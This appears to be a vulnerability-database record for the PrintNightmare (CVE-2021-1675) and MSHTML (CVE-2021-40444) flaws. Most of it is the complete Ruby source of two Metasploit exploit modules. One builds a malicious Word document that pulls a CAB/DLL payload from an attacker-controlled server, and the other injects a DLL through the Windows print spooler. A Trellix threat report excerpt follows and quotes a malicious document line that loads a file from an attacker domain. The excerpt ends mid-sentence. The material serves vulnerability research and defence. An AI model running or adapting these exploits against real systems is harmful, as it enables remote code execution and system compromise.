"obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2021-1675", "href": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "metasploit": [{"lastseen": "2023-06-24T15:44:17", "description": "This module creates a malicious docx file that when opened in Word on a vulnerable Windows system will lead to code execution. This vulnerability exists because an attacker can craft a malicious ActiveX control to be used by a Microsoft Office document that hosts the browser rendering engine.\n", "cvss3": {}, "published": "2021-11-09T11:18:58", "type": "metasploit", "title": "Microsoft Office Word Malicious MSHTML RCE", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-08T22:22:44", "id": "MSF:EXPLOIT-WINDOWS-FILEFORMAT-WORD_MSHTML_RCE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/fileformat/word_mshtml_rce/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::FILEFORMAT\n include Msf::Exploit::Remote::HttpServer::HTML\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Microsoft Office Word Malicious MSHTML RCE',\n 'Description' => %q{\n This module creates a malicious docx file that when opened in Word on a vulnerable Windows\n system will lead to code execution. This vulnerability exists because an attacker can\n craft a malicious ActiveX control to be used by a Microsoft Office document that hosts\n the browser rendering engine.\n },\n 'References' => [\n ['CVE', '2021-40444'],\n ['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444'],\n ['URL', 'https://www.sentinelone.com/blog/peeking-into-cve-2021-40444-ms-office-zero-day-vulnerability-exploited-in-the-wild/'],\n ['URL', 'http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf'],\n ['URL', 'https://github.com/lockedbyte/CVE-2021-40444/blob/master/REPRODUCE.md'],\n ['URL', 'https://github.com/klezVirus/CVE-2021-40444']\n ],\n 'Author' => [\n 'lockedbyte ', # Vulnerability discovery.\n 'klezVirus ', # References and PoC.\n 'thesunRider', # Official Metasploit module.\n 'mekhalleh (RAMELLA S\u00e9bastien)' # Zeop-CyberSecurity - code base contribution and refactoring.\n ],\n 'DisclosureDate' => '2021-09-23',\n 'License' => MSF_LICENSE,\n 'Privileged' => false,\n 'Platform' => 'win',\n 'Arch' => [ARCH_X64],\n 'Payload' => {\n 'DisableNops' => true\n },\n 'DefaultOptions' => {\n 'FILENAME' => 'msf.docx'\n },\n 'Targets' => [\n [\n 'Hosted', {}\n ]\n ],\n 'DefaultTarget' => 0,\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [UNRELIABLE_SESSION],\n 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n }\n )\n )\n\n register_options([\n OptBool.new('OBFUSCATE', [true, 'Obfuscate JavaScript content.', true])\n ])\n register_advanced_options([\n OptPath.new('DocxTemplate', [ false, 'A DOCX file that will be used as a template to build the exploit.' ]),\n ])\n end\n\n def bin_to_hex(bstr)\n return(bstr.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join)\n end\n\n def cab_checksum(data, seed = \"\\x00\\x00\\x00\\x00\")\n checksum = seed\n\n bytes = ''\n data.chars.each_slice(4).map(&:join).each do |dword|\n if dword.length == 4\n checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*')\n else\n bytes = dword\n end\n end\n checksum = checksum.reverse\n\n case (data.length % 4)\n when 3\n dword = \"\\x00#{bytes}\"\n when 2\n dword = \"\\x00\\x00#{bytes}\"\n when 1\n dword = \"\\x00\\x00\\x00#{bytes}\"\n else\n dword = \"\\x00\\x00\\x00\\x00\"\n end\n\n checksum = checksum.unpack('C*').zip(dword.unpack('C*')).map { |a, b| a ^ b }.pack('C*').reverse\n end\n\n # http://download.microsoft.com/download/4/d/a/4da14f27-b4ef-4170-a6e6-5b1ef85b1baa/[ms-cab].pdf\n def create_cab(data)\n cab_cfdata = ''\n filename = \"../#{File.basename(@my_resources.first)}.inf\"\n block_size = 32768\n struct_cffile = 0xd\n struct_cfheader = 0x30\n\n block_counter = 0\n data.chars.each_slice(block_size).map(&:join).each do |block|\n block_counter += 1\n\n seed = \"#{[block.length].pack('S')}#{[block.length].pack('S')}\"\n csum = cab_checksum(block, seed)\n\n vprint_status(\"Data block added w/ checksum: #{bin_to_hex(csum)}\")\n cab_cfdata << csum # uint32 {4} - Checksum\n cab_cfdata << [block.length].pack('S') # uint16 {2} - Compressed Data Length\n cab_cfdata << [block.length].pack('S') # uint16 {2} - Uncompressed Data Length\n cab_cfdata << block\n end\n\n cab_size = [\n struct_cfheader +\n struct_cffile +\n filename.length +\n cab_cfdata.length\n ].pack('L<')\n\n # CFHEADER (http://wiki.xentax.com/index.php/Microsoft_Cabinet_CAB)\n cab_header = \"\\x4D\\x53\\x43\\x46\" # uint32 {4} - Header (MSCF)\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n cab_header << cab_size # uint32 {4} - Archive Length\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n\n cab_header << \"\\x2C\\x00\\x00\\x00\" # uint32 {4} - Offset to the first CFFILE\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Reserved (null)\n cab_header << \"\\x03\" # byte {1} - Minor Version (3)\n cab_header << \"\\x01\" # byte {1} - Major Version (1)\n cab_header << \"\\x01\\x00\" # uint16 {2} - Number of Folders\n cab_header << \"\\x01\\x00\" # uint16 {2} - Number of Files\n cab_header << \"\\x00\\x00\" # uint16 {2} - Flags\n\n cab_header << \"\\xD2\\x04\" # uint16 {2} - Cabinet Set ID Number\n cab_header << \"\\x00\\x00\" # uint16 {2} - Sequential Number of this Cabinet file in a Set\n\n # CFFOLDER\n cab_header << [ # uint32 {4} - Offset to the first CFDATA in this Folder\n struct_cfheader +\n struct_cffile +\n filename.length\n ].pack('L<')\n cab_header << [block_counter].pack('S<') # uint16 {2} - Number of CFDATA blocks in this Folder\n cab_header << \"\\x00\\x00\" # uint16 {2} - Compression Format for each CFDATA in this Folder (1 = MSZIP)\n\n # increase file size to trigger vulnerability\n cab_header << [ # uint32 {4} - Uncompressed File Length (\"\\x02\\x00\\x5C\\x41\")\n data.length + 1073741824\n ].pack('L<')\n\n # set current date and time in the format of cab file\n date_time = Time.new\n date = [((date_time.year - 1980) << 9) + (date_time.month << 5) + date_time.day].pack('S')\n time = [(date_time.hour << 11) + (date_time.min << 5) + (date_time.sec / 2)].pack('S')\n\n # CFFILE\n cab_header << \"\\x00\\x00\\x00\\x00\" # uint32 {4} - Offset in the Uncompressed CFDATA for the Folder this file belongs to (relative to the start of the Uncompressed CFDATA for this Folder)\n cab_header << \"\\x00\\x00\" # uint16 {2} - Folder ID (starts at 0)\n cab_header << date # uint16 {2} - File Date (\\x5A\\x53)\n cab_header << time # uint16 {2} - File Time (\\xC3\\x5C)\n cab_header << \"\\x20\\x00\" # uint16 {2} - File Attributes\n cab_header << filename # byte {X} - Filename (ASCII)\n cab_header << \"\\x00\" # byte {1} - null Filename Terminator\n\n cab_stream = cab_header\n\n # CFDATA\n cab_stream << cab_cfdata\n end\n\n def generate_html\n uri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.cab\"\n inf = \"#{File.basename(@my_resources.first)}.inf\"\n\n file_path = ::File.join(::Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve_2021_40444.js')\n js_content = ::File.binread(file_path)\n\n js_content.gsub!('REPLACE_INF', inf)\n js_content.gsub!('REPLACE_URI', uri)\n if datastore['OBFUSCATE']\n print_status('Obfuscate JavaScript content')\n\n js_content = Rex::Exploitation::JSObfu.new js_content\n js_content = js_content.obfuscate(memory_sensitive: false)\n end\n\n html = '<!DOCTYPE html><html><head><meta http-equiv=\"Expires\" content=\"-1\"><meta http-equiv=\"X-UA-Compatible\" content=\"IE=11\"></head><body><script>'\n html += js_content.to_s\n html += '</script></body></html>'\n html\n end\n\n def get_file_in_docx(fname)\n i = @docx.find_index { |item| item[:fname] == fname }\n\n unless i\n fail_with(Failure::NotFound, \"This template cannot be used because it is missing: #{fname}\")\n end\n\n @docx.fetch(i)[:data]\n end\n\n def get_template_path\n datastore['DocxTemplate'] || File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-40444', 'cve-2021-40444.docx')\n end\n\n def inject_docx\n document_xml = get_file_in_docx('word/document.xml')\n unless document_xml\n fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/document.xml')\n end\n\n document_xml_rels = get_file_in_docx('word/_rels/document.xml.rels')\n unless document_xml_rels\n fail_with(Failure::NotFound, 'This template cannot be used because it is missing: word/_rels/document.xml.rels')\n end\n\n uri = \"#{@proto}://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{normalize_uri(@my_resources.first.to_s)}.html\"\n @docx.each do |entry|\n case entry[:fname]\n when 'word/document.xml'\n entry[:data] = document_xml.to_s.gsub!('TARGET_HERE', uri.to_s)\n when 'word/_rels/document.xml.rels'\n entry[:data] = document_xml_rels.to_s.gsub!('TARGET_HERE', \"mhtml:#{uri}!x-usc:#{uri}\")\n end\n end\n end\n\n def normalize_uri(*strs)\n new_str = strs * '/'\n\n new_str = new_str.gsub!('//', '/') while new_str.index('//')\n\n # makes sure there's a starting slash\n unless new_str[0, 1] == '/'\n new_str = '/' + new_str\n end\n\n new_str\n end\n\n def on_request_uri(cli, request)\n header_cab = {\n 'Access-Control-Allow-Origin' => '*',\n 'Access-Control-Allow-Methods' => 'GET, POST, OPTIONS',\n 'Cache-Control' => 'no-store, no-cache, must-revalidate',\n 'Content-Type' => 'application/octet-stream',\n 'Content-Disposition' => \"attachment; filename=#{File.basename(@my_resources.first)}.cab\"\n }\n\n header_html = {\n 'Access-Control-Allow-Origin' => '*',\n 'Access-Control-Allow-Methods' => 'GET, POST',\n 'Cache-Control' => 'no-store, no-cache, must-revalidate',\n 'Content-Type' => 'text/html; charset=UTF-8'\n }\n\n if request.method.eql? 'HEAD'\n if request.raw_uri.to_s.end_with? '.cab'\n send_response(cli, '', header_cab)\n else\n send_response(cli, '', header_html)\n end\n elsif request.method.eql? 'OPTIONS'\n response = create_response(501, 'Unsupported Method')\n response['Content-Type'] = 'text/html'\n response.body = ''\n\n cli.send_response(response)\n elsif request.raw_uri.to_s.end_with? '.html'\n print_status('Sending HTML Payload')\n\n send_response_html(cli, generate_html, header_html)\n elsif request.raw_uri.to_s.end_with? '.cab'\n print_status('Sending CAB Payload')\n\n send_response(cli, create_cab(@dll_payload), header_cab)\n end\n end\n\n def pack_docx\n @docx.each do |entry|\n if entry[:data].is_a?(Nokogiri::XML::Document)\n entry[:data] = entry[:data].to_s\n end\n end\n\n Msf::Util::EXE.to_zip(@docx)\n end\n\n def unpack_docx(template_path)\n document = []\n\n Zip::File.open(template_path) do |entries|\n entries.each do |entry|\n if entry.name.match(/\\.xml|\\.rels$/i)\n content = Nokogiri::XML(entry.get_input_stream.read) if entry.file?\n elsif entry.file?\n content = entry.get_input_stream.read\n end\n\n vprint_status(\"Parsing item from template: #{entry.name}\")\n\n document << { fname: entry.name, data: content }\n end\n end\n\n document\n end\n\n def primer\n print_status('CVE-2021-40444: Generate a malicious docx file')\n\n @proto = (datastore['SSL'] ? 'https' : 'http')\n if datastore['SRVHOST'] == '0.0.0.0'\n datastore['SRVHOST'] = Rex::Socket.source_address\n end\n\n template_path = get_template_path\n unless File.extname(template_path).match(/\\.docx$/i)\n fail_with(Failure::BadConfig, 'Template is not a docx file!')\n end\n\n print_status(\"Using template '#{template_path}'\")\n @docx = unpack_docx(template_path)\n\n print_status('Injecting payload in docx document')\n inject_docx\n\n print_status(\"Finalizing docx '#{datastore['FILENAME']}'\")\n file_create(pack_docx)\n\n @dll_payload = Msf::Util::EXE.to_win64pe_dll(\n framework,\n payload.encoded,\n {\n arch: payload.arch.first,\n mixed_mode: true,\n platform: 'win'\n }\n )\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/fileformat/word_mshtml_rce.rb", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-06-24T15:45:01", "description": "The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.\n", "cvss3": {}, "published": "2022-05-16T18:56:46", "type": "metasploit", "title": "Print Spooler Remote DLL Injection", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-05-24T13:16:30", "id": "MSF:EXPLOIT-WINDOWS-DCERPC-CVE_2021_1675_PRINTNIGHTMARE-", "href": "https://www.rapid7.com/db/modules/exploit/windows/dcerpc/cve_2021_1675_printnightmare/", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'windows_error'\nrequire 'ruby_smb'\nrequire 'ruby_smb/error'\n\nclass MetasploitModule < Msf::Exploit::Remote\n\n prepend Msf::Exploit::Remote::AutoCheck\n include Msf::Exploit::Remote::DCERPC\n include Msf::Exploit::Remote::SMB::Client::Authenticated\n include Msf::Exploit::Remote::SMB::Server::Share\n include Msf::Exploit::Retry\n include Msf::Exploit::EXE\n include Msf::Exploit::Deprecated\n\n moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'\n\n PrintSystem = RubySMB::Dcerpc::PrintSystem\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'Print Spooler Remote DLL Injection',\n 'Description' => %q{\n The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted\n DCERPC request, resulting in remote code execution as NT AUTHORITY\\SYSTEM. This module uses the MS-RPRN\n vector which requires the Print Spooler service to be running.\n },\n 'Author' => [\n 'Zhiniang Peng', # vulnerability discovery / research\n 'Xuefeng Li', # vulnerability discovery / research\n 'Zhipeng Huo', # vulnerability discovery\n 'Piotr Madej', # vulnerability discovery\n 'Zhang Yunhai', # vulnerability discovery\n 'cube0x0', # PoC\n 'Spencer McIntyre', # metasploit module\n 'Christophe De La Fuente', # metasploit module co-author\n ],\n 'License' => MSF_LICENSE,\n 'DefaultOptions' => {\n 'SRVHOST' => Rex::Socket.source_address\n },\n 'Stance' => Msf::Exploit::Stance::Aggressive,\n 'Targets' => [\n [\n 'Windows', {\n 'Platform' => 'win',\n 'Arch' => [ ARCH_X64, ARCH_X86 ]\n },\n ],\n ],\n 'DisclosureDate' => '2021-06-08',\n 'References' => [\n ['CVE', '2021-1675'],\n ['CVE', '2021-34527'],\n ['URL', 'https://github.com/cube0x0/CVE-2021-1675'],\n ['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],\n ['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],\n ['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream']\n ],\n 'Notes' => {\n 'AKA' => [ 'PrintNightmare' ],\n 'Stability' => [CRASH_SERVICE_DOWN],\n 'Reliability' => [UNRELIABLE_SESSION],\n 'SideEffects' => [\n ARTIFACTS_ON_DISK # the dll will be copied to the remote server\n ]\n }\n )\n )\n\n register_advanced_options(\n [\n OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])\n ]\n )\n deregister_options('AutoCheck')\n end\n\n def check\n begin\n connect(backend: :ruby_smb)\n rescue Rex::ConnectionError\n return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')\n end\n\n begin\n smb_login\n rescue Rex::Proto::SMB::Exceptions::LoginError\n return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')\n end\n\n begin\n dcerpc_bind_spoolss\n rescue RubySMB::Error::UnexpectedStatusCode => e\n nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first\n if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND\n print_error(\"The 'Print Spooler' service is disabled.\")\n end\n return Exploit::CheckCode::Safe(\"The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).\")\n end\n\n @target_arch = dcerpc_getarch\n # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43\n if @target_arch == ARCH_X64\n @environment = 'Windows x64'\n elsif @target_arch == ARCH_X86\n @environment = 'Windows NT x86'\n else\n return Exploit::CheckCode::Detected('Successfully bound to the remote service.')\n end\n\n print_status(\"Target environment: Windows v#{simple.client.os_version} (#{@target_arch})\")\n\n print_status('Enumerating the installed printer drivers...')\n drivers = enum_printer_drivers(@environment)\n @driver_path = \"#{drivers.driver_path.rpartition('\\\\').first}\\\\UNIDRV.DLL\"\n vprint_status(\"Using driver path: #{@driver_path}\")\n\n print_status('Retrieving the path of the printer driver directory...')\n @config_directory = get_printer_driver_directory(@environment)\n vprint_status(\"Using driver directory: #{@config_directory}\") unless @config_directory.nil?\n\n container = driver_container(\n p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll',\n p_data_file: \"\\\\??\\\\UNC\\\\127.0.0.1\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll\"\n )\n\n case add_printer_driver_ex(container)\n when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code\n return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')\n when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND\n return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')\n when ::WindowsError::Win32::ERROR_BAD_NET_NAME\n return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')\n when ::WindowsError::Win32::ERROR_ACCESS_DENIED\n return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')\n end\n\n Exploit::CheckCode::Detected('Successfully bound to the remote service.')\n end\n\n def run\n fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64\n fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?\n fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?\n\n super\n end\n\n def setup\n if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0\n fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')\n end\n\n super\n end\n\n def start_service\n file_name << '.dll'\n self.file_contents = generate_payload_dll\n\n super\n end\n\n def primer\n dll_path = unc\n if dll_path =~ /^\\\\\\\\([\\w:.\\[\\]]+)\\\\(.*)$/\n # targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass\n # otherwise the operation will fail with ERROR_INVALID_PARAMETER\n dll_path = \"\\\\??\\\\UNC\\\\#{Regexp.last_match(1)}\\\\#{Regexp.last_match(2)}\"\n end\n vprint_status(\"Using DLL path: #{dll_path}\")\n\n filename = dll_path.rpartition('\\\\').last\n container = driver_container(p_config_file: 'C:\\\\Windows\\\\System32\\\\kernel32.dll', p_data_file: dll_path)\n\n 3.times do\n add_printer_driver_ex(container)\n end\n\n 1.upto(3) do |directory|\n container.driver_info.p_config_file.assign(\"#{@config_directory}\\\\3\\\\old\\\\#{directory}\\\\#{filename}\")\n break if add_printer_driver_ex(container).nil?\n end\n\n cleanup_service\n end\n\n def driver_container(**kwargs)\n PrintSystem::DriverContainer.new(\n level: 2,\n tag: 2,\n driver_info: PrintSystem::DriverInfo2.new(\n c_version: 3,\n p_name_ref_id: 0x00020000,\n p_environment_ref_id: 0x00020004,\n p_driver_path_ref_id: 0x00020008,\n p_data_file_ref_id: 0x0002000c,\n p_config_file_ref_id: 0x00020010,\n # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913\n p_name: \"#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}\",\n p_environment: @environment,\n p_driver_path: @driver_path,\n **kwargs\n )\n )\n end\n\n def dcerpc_bind_spoolss\n handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\\\spoolss'])\n vprint_status(\"Binding to #{handle} ...\")\n dcerpc_bind(handle)\n vprint_status(\"Bound to #{handle} ...\")\n end\n\n def enum_printer_drivers(environment)\n response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)\n response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)\n fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length\n DriverInfo2.read(response.p_drivers.map(&:chr).join)\n end\n\n def get_printer_driver_directory(environment)\n response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)\n response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)\n fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length\n RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')\n end\n\n def add_printer_driver_ex(container)\n flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES\n\n begin\n response = rprn_call('RpcAddPrinterDriverEx', p_name: \"\\\\\\\\#{datastore['RHOST']}\", p_driver_container: container, dw_file_copy_flags: flags)\n rescue RubySMB::Error::UnexpectedStatusCode => e\n nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first\n message = \"Error #{nt_status.name} (#{nt_status.description})\"\n if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN\n # STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected\n print_status('The named pipe connection was broken, reconnecting...')\n reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do\n dcerpc_bind_spoolss\n rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e\n false\n else\n true\n end\n\n unless reconnected\n vprint_status('Failed to reconnect to the named pipe.')\n return nil\n end\n\n print_status('Successfully reconnected to the named pipe.')\n retry\n else\n print_error(message)\n end\n\n return nt_status\n end\n\n error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first\n message = \"RpcAddPrinterDriverEx response #{response.error_status}\"\n message << \" #{error.name} (#{error.description})\" unless error.nil?\n vprint_status(message)\n error\n end\n\n def rprn_call(name, **kwargs)\n request = PrintSystem.const_get(\"#{name}Request\").new(**kwargs)\n\n begin\n raw_response = dcerpc.call(request.opnum, request.to_binary_s)\n rescue Rex::Proto::DCERPC::Exceptions::Fault => e\n fail_with(Failure::UnexpectedReply, \"The #{name} Print System RPC request failed (#{e.message}).\")\n end\n\n PrintSystem.const_get(\"#{name}Response\").read(raw_response)\n end\n\n class DriverInfo2Header < BinData::Record\n endian :little\n\n uint32 :c_version\n uint32 :name_offset\n uint32 :environment_offset\n uint32 :driver_path_offset\n uint32 :data_file_offset\n uint32 :config_file_offset\n end\n\n # this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2\n # see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030\n DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do\n def self.read(data)\n header = DriverInfo2Header.read(data)\n new(\n header,\n RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),\n RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')\n )\n end\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "trellix": [{"lastseen": "2022-01-25T00:00:00", "description": "# Prime Minister\u2019s Office Compromised: Details of Recent Espionage Campaign\n\nBy Marc Elias \u00b7 January 25, 2022\n\nA special thanks to Christiaan Beek, Alexandre Mundo, Leandro Velasco and Max Kersten for malware analysis and support during this investigation.\n\n#### Executive Summary\n\nOur Advanced Threat Research Team have identified a multi-stage espionage campaign targeting high-ranking government officials Western Asia and Eastern Europe. As we detail the technical components of this attack, we can confirm that we have undertaken pre-release disclosure to the victims and provided all necessary content required to remove all known attack components from their environments. \n\nThe infection chain starts with the execution of an Excel downloader, most likely sent to the victim via email, which exploits an MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/>)) to execute a malicious executable in memory. The attack uses a follow-up piece of malware called Graphite because it uses Microsoft\u2019s Graph API to leverage OneDrive as a command and control server\u2014a technique our team has not seen before. Furthermore, the attack was split into multiple stages to stay as hidden as possible. \n\nCommand and control functions used an Empire server that was prepared in July 2021, and the actual campaign was active from October to November 2021. The below blog will explain the inner workings, victimology, infrastructure and timeline of the attack and, of course, reveal the IOCs and MITRE ATT&CK techniques.\n\nA number of the attack indicators and apparent geopolitical objectives resemble those associated with the previously uncovered threat actor APT28. While we don\u2019t believe in attributing any campaign solely based on such evidence, we have a moderate level of confidence that our assumption is accurate. That said, we are supremely confident that we are dealing with a very skilled actor based on how infrastructure, malware coding and operation were setup.\n\nTrellix customers are protected by the different McAfee Enterprise and FireEye products that were provided with these indicators.\n\n#### Analysis of the Attack Process\n\nThis section provides an analysis of the overall process of the attack, beginning with the execution of an Excel file containing an exploit for the MSHTML remote code execution vulnerability ([CVE-2021-40444](<https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-defender-blog-mshtml-cve-2021-40444/>)) vulnerability. This is used to execute a malicious DLL file acting as a downloader for the third stage malware we called Graphite. Graphite is a newly discovered malware sample based on a OneDrive Empire Stager which leverages OneDrive accounts as a command and control server via the Microsoft Graph API. \n\nThe last phases of this multi-stage attack, which we believe is associated with an APT operation, includes the execution of different Empire stagers to finally download an Empire agent on victims\u2019 computers and engage the command and control server to remotely control the systems.\n\nThe following diagram shows the overall process of this attack.\n\n **Figure 1. Attack flow**\n\n### First Stage \u2013 Excel Downloaders\n\nAs suggested, the first stage of the attack likely uses a spear phishing email to lure victims into opening an Excel file, which goes by the name \u201cparliament_rew.xlsx\u201d. Below you can see the identifying information for this file:\n\nFile type | Excel Microsoft Office Open XML Format document \n---|--- \nFile name | parliament_rew.xlsx \nFile size | 19.26 KB \nCompilation time | 05/10/2021 \nMD5 | 8e2f8c95b1919651fcac7293cb704c1c \nSHA-256 | f007020c74daa0645b181b7b604181613b68d195bd585afd71c3cd5160fb8fc4 \n \n **Figure 2. Decoy text observed in the Excel file**\n\nIn analyzing this file\u2019s structure, we observed that it includes a folder named \u201ccustomUI\u201d that contains a file named \u201ccustomUI.xml\u201d. Opening this file with a text editor, we observed that the malicious document uses the \u201cCustomUI.OnLoad\u201d property of the OpenXML format to load an external file from a remote server: \n\n** <customUI xmlns**=\"http://schemas.microsoft.com/office/2006/01/customui\" onLoad='https://wordkeyvpload[.]net/keys/parliament_rew.xls!123'> </customUI>\n\nThis technique allows the attackers to bypass some antivirus scanning engines and office analysis tools, decreasing the chances of the documents being detected. \n\nThe downloaded file is again an Excel spreadsheet, but this time it is saved using the old Microsoft Office Excel 97-2003 Binary File Format (.xls). Below you can see the identifying information of the file:\n\nFile type | Microsoft Office Excel 97-2003 Binary File Format \n---|--- \nFile name | parliament_rew.xls \nFile size | 20.00 KB \nCompilation time | 05/10/2021 \nMD5 | abd182f7f7b36e9a1ea9ac210d1899df \nSHA-256 | 7bd11553409d635fe8ad72c5d1c56f77b6be55f1ace4f77f42f6bfb4408f4b3a \n \nAnalyzing the metadata objects, we can identify that the creator was using the codepage 1252 used in Western European countries and the file was created on October 5th, 2021.\n\n **Figure 3. Document metadata**\n\nLater, we analyzed the OLE objects in the document and discovered a Linked Object OLEStream Structure which contains a link to the exploit of the CVE-2021-40444 vulnerability hosted in the attackers\u2019 server. This allows the document to automatically download the HTML file and subsequently call the Internet Explorer engine to interpret it, triggering the execution of the exploit.\n\n **Figure 4. Remote link in OLE object**\n\nIn this blog post we won\u2019t examine the internals of the CVE-2021-40444 vulnerability as it has already been publicly explained and discussed. Instead, we will continue the analysis on the second stage DLL contained in the CAB file of the exploit.\n\n#### Second Stage \u2013 DLL Downloader\n\nThe second stage is a DLL executable named fontsubc.dll which was extracted from 